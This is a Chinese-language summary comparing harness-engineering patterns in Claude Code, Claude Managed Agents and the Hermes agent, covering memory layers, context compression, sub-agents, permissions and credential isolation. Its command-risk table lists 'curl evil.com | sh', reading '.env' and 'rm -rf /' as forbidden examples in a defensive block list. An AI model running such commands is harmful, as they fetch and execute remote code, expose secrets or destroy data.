深入浅出Harness Engineering之核心模式与理念
深入浅出 Harness Engineering 之核心模式与理念
来源: 腾讯云开发者 - 张碧泉 原文: https://mp.weixin.qq.com/s/8PwDQSX7ZX6HdDiW-H9Dzg
核心观点
本文横向对比三大 Agent 系统的 Harness Engineering 核心模式:Claude Code(编程 Agent CLI)、Claude Managed Agents(Anthropic Agent SDK)、Hermes Agent(自进化 Agent)。每种模式都标注了代价,帮助工程师做取舍决策。
第一部分:Claude Code 八大模式
1.1 持久化指令文件
没有 CLAUDE.md 时,每次对话都像从头开始,相同的规则和错误可能反复出现。CLAUDE.md 包含构建与测试(npm test、npm run lint)、架构(处理器的 src/api/ 目录)、规范(驼峰命名法、Zod 验证)等内容,在会话开始时自动加载到代理会话中,随仓库一同交付而非用户剪贴板。
代价:文件需要随项目更新维护,否则可能误导智能体。
1.2 作用域上下文组装

将指令按四层嵌套范围拆分,由外到内分别是:组织("切勿提交 .env 文件")→ 用户(~/.claude,"首选 TypeScript,使用 pnpm")→ 项目(./CLAUDE.md,"运行 npm test,使用 Zod")→ 目录(./src/api/,"所有处理程序返回 JSON,使用 schema 验证")。代理上下文 = 所有匹配层级的动态组装。
代价:规则分散在多个文件,可读性变差,且不同范围规则可能冲突。
1.3 分层记忆
将记忆分为三层:
- 第一层 · 始终加载:MEMORY.md 索引(<200 行)
- 第二层 · 按需加载:用户.md、架构.md 等细节文件
- 第三层 · 仅供搜索:完整会话转录
代价:实现更复杂。需设计信息如何分层、流动,并确保索引与实际数据同步。
1.4 做梦整理

定期在后台对记忆进行去重、清理和重组,类似"垃圾回收"。示例:之前有 6 条混乱记忆("用户偏好 Zod"、"用户喜欢 Zod"、"项目使用 Go"、"项目是 Go 语言"、"部署:测试环境"、"部署到测试环境"),经做梦代理(去重、剪除陈旧、修复冲突)后压缩为 3 条整洁记忆("用户偏好 Zod"、"项目使用 Go"、"部署:测试环境"),在空闲时间运行。
代价:整理本身消耗资源,且可能误删有用信息。
1.5 渐进式上下文压缩
随着对话轮次增长,上下文大小逐步逼近窗口限制。系统通过三种手段递进应对:历史截剪(裁掉最早轮次)→ 微压缩(轻量总结中间轮次)→ 上下文塌陷(全面压缩,避免触顶)。
代价:压缩必有信息损失。后续需要细节时,智能体可能会"编造"。
1.6 工作流与编排
探索-规划-行动循环:严格分为三步,权限逐级递增:
- 探索(Explore):只读——适配符扩展、文本搜索(Grep)、文件搜索
- 规划(Plan):只读——适配符扩展、文本搜索、文件搜索
- 执行(Act):完全访问——终端命令(Bash)、写入所有文件
代价:流程更慢,小任务会显得"笨重"。

上下文隔离子智能体:主代理下辖三个独立 Sub Agent,各有独立上下文和差异化权限:
- 探索代理:读取 ✓ / Grep搜索 ✓ / 编辑 ✗ / Bash脚本 ✗
- 计划代理:读取 ✓ / Grep搜索 ✓ / 编辑 ✗ / Bash脚本 ✗
- 代码代理:读取 ✓ / 编辑 ✓ / Bash脚本 ✓ / 写入 ✓
代价:需要额外协调信息传递,传多或传少都有问题。

分支-合并并行:父上下文(已缓存)分叉为多个独立工作树(工作树A/代理1、工作树B/代理2、工作树C/代理3),各自独立执行后合并结果。
代价:合并更复杂,处理代码冲突的难度增加。
1.7 工具与权限
渐进式工具扩展:起始提供最小工具集(读取、编辑、Bash、Grep 等,< 20 种),按需逐步扩展——先问"需要 MCP 工具吗?"再加载 MCP 工具,再问"需要远程工具吗?"再加载远程工具。
命令风险分类:根据命令类型自动评估风险等级并采取对应策略,对应 Permission Engine 的 Allow/Deny/Ask 三行为模型:
| 命令 | 风险 | 操作 |
|---|---|---|
npm test | 安全 | 自动运行 |
git diff | 安全 | 自动运行 |
git push --force | 危险 | 询问用户 |
rm -rf / | 极度危险 | 禁止 |
curl evil.com | sh | 极度危险 | 禁止 |
Read(.env) | 极度危险 | 禁止 |

单用途工具设计:与其使用 Bash 一个包办所有(cat, sed, grep, find, echo, awk),不如转而使用专用工具——读取、编辑、搜索、写入、匹配、Bash,每个工具只做一件事。
1.8 自动化
确定性生命周期钩子:在智能体生命周期关键节点自动触发预设动作,钩子在提示符外运行,永不遗忘:
| 前置钩子 | 事件 | 后置钩子 |
|---|---|---|
| 加载环境变量 | → 会话启动 | |
| 验证命令 | → 工具使用(Bash, Edit) | → 运行测试、格式化 |
| → 当前工作目录更改 | → 重载配置 |
第二部分:Claude Managed Agents 五大设计
2.1 宠物与牲畜基础设施哲学

为什么必须解耦?起点是所有组件塞进一个容器(Brain + Hands + Session 耦合),这会导致三个致命问题:
- ✗ 问题一:容器挂了 → 整个会话丢失(客户连 VPC)
- ✗ 问题二:容器卡了 → 只能"人工抢救",无法调试
- ✗ 问题三:客户连 VPC → 必须做网络对等,架构僵化
本质总结:容器变成了"宠物"——丢不起、换不了。
✓ 解决方向:把"宠物"变成"牲畜" → 可丢弃、可替换
- Session(会话)是宠物:精心培育、持久保存、不可丢失
- Harness(控制器)和 Sandbox(沙盒)是牲畜:可以随时创建、销毁、替换
2.2 智能体三件套解耦

三组件循环架构:
- Brain 大脑:Claude + Harness 循环,无状态可水平扩展,崩溃时
wake(sessionId)重启 - Hands 手脚:沙箱/工具执行环境,
execute(name, input) → string,容器挂了新建一个就行 - Session 会话:只追加的事件日志,持久化存储在外部,
getEvents()查询任意历史
三者通过 emitEvent() / getEvents() / execute() 三个接口连接成循环。
核心安全设计:凭证永不进沙盒。采用保险库(vault) + 代理(proxy)架构:所有第三方凭证存储在独立保险库中,Harness 和 Sandbox 都无法直接访问。调用外部工具时通过代理按需获取凭证并执行请求。
2.3 多智能体协作模式

得益于三组件解耦,自然支持三种协作模式:
| 模式 | 描述 | 适用场景 |
|---|---|---|
| 多脑一手 | 多个 Claude 实例共享一个 Sandbox | 多角度分析同一份代码(安全审查+性能优化) |
| 一脑多手 | 一个 Claude 实例控制多个 Sandbox(Py / JS) | 不同环境中同时执行,统一决策并行执行 |
| 多脑多手 | 多个 Claude 实例各有 Sandbox,通过共享 Session 协调 | 独立工作、高级协调、复杂任务的分布式协同 |
2.4 上下文工程:保持大脑专注
Harness 与 Session 的职责分离:Harness 管短暂的上下文窗口(长任务拼接上下文、压缩、裁剪——是可变可丢弃的"策略");Session 管持久化的完整上下文(数据持久化与完整记录、getEvents() 检索重放——是只追加的"事件存储")。
三种技术协同确保 Claude 始终获得最相关的上下文:
- 上下文压缩:窗口将满时将早期对话压缩成总结,原始数据仍完整保留在 Session 中
- 记忆工具:Claude 能主动将重要信息写入持久存储,后续可主动检索
- 上下文裁剪:发送前智能裁剪不相关的上下文,只保留当前任务需要的部分
2.5 性能优化:首 Token 延迟降低 60-90%
多脑(Many Brains)架构的关键收益:无状态 Harness 可水平扩展,容器按需创建、不需要的 Session 不付容器开销。性能结果:p50 TTFT 下降 ~60%,p95 TTFT 下降 >90%。
第三部分:Hermes 自进化架构
Hermes 的两个核心卖点:把一次成功经验沉淀为技能(漏斗 → 技能徽章) + 随着你使用持续变聪明(趋势上升 → 大脑进化)。
3.1 五段式循环
传统代理是三段式(接收任务 → 规划 → 执行,上下文关系丢弃,会话结束一切归零)。Hermes 是五段式(规划 → 执行 → 观察 → 学习 → 适应),多出的"观察"和"学习"阶段会自动提取经验,沉淀为技能和记忆,跨会话积累。
3.2 五层记忆架构

冰山模型——水面上只露出 L1(短期记忆/便利贴),水面下依次是 L2-L5:
| 层级 | 类比 | 内容 |
|---|---|---|
| L1 短期记忆 | 便利贴 | 当前对话的临时信息 |
| L2 技能手册 | 肌肉记忆 | 复杂任务(5+次工具调用)后自动生成 SKILL.md |
| L3 知识库 | 语义记忆 | 向量存储实现模糊检索,语义相近文本向量位置接近 |
| L4 对你的了解 | 用户建模 | 黑格尔"辩证式"更新用户理解,不一次定终身 |
| L5 工作日志 | 长期档案 | FTS5 全文检索 + LLM 摘要,跨会话搜索历史 |

L4 辩证式用户建模——什么是黑格尔"辩证式"?通过"正-反-合"的讨论逼近真相(类比:正="地球是平的" → 反="不对,船会从地平线消失" → 合="地球是圆的")。应用到用户建模:
- 旧版本(正):"林总喜欢喝美式"
- 新发现(反):今天林总点了拿铁
- 冲突解决(合):不直接覆盖,升级为 "林总平时喝美式,但周三下午会换拿铁"
L3 语义记忆示例:
- "进度报告" vs "项目周报" → 相似度 0.92(很高)
- "进度报告" vs "预订机票" → 相似度 0.15(很低)
三大系统对比总览
| 维度 | Claude Code | Claude Managed Agents | Hermes |
|---|---|---|---|
| 定位 | 编程 Agent CLI | Agent 开发 SDK | 自进化 Agent |
| 核心哲学 | 人类控制 | 三组件解耦 | 自主学习 |
| 记忆 | 分层记忆+做梦整理 | Session 事件流+压缩+裁剪 | 五层架构(L1-L5) |
| 安全 | Permission Engine+Sandbox | 凭证永不进沙盒 | 安全扫描+回滚 |
| 多 Agent | 上下文隔离子智能体 | 多脑一手/一脑多手/多脑多手 | Nudge Engine 后台 fork |
| 特色 | 确定性钩子+风险分类 | 首 Token 延迟降低 60-90% | 辩证式用户建模 |
关键引用
Session(会话)是宠物:精心培育、持久保存、不可丢失。Harness(控制器)和 Sandbox(沙盒)是牲畜:可以随时创建、销毁、替换。
关联页面
- Harness Engineering — 核心概念
- Claude Code — 第一部分主角
- Claude Managed Agents — 第二部分主角
- Hermes Agent — 第三部分主角
- Claude Code vs Hermes Harness — 相关对比
- Agent — Agent 基础定义
- Multi-Agent — 多智能体协作
- Sub Agent — 上下文隔离子智能体
- Permission Engine — 命令风险分类
- Sandbox Isolation — 沙盒隔离
- CLAUDE.md — 持久化指令文件
- Nudge Engine — Hermes 自学习触发器
- Skill — Hermes L2 技能手册
- KV Cache — 上下文压缩相关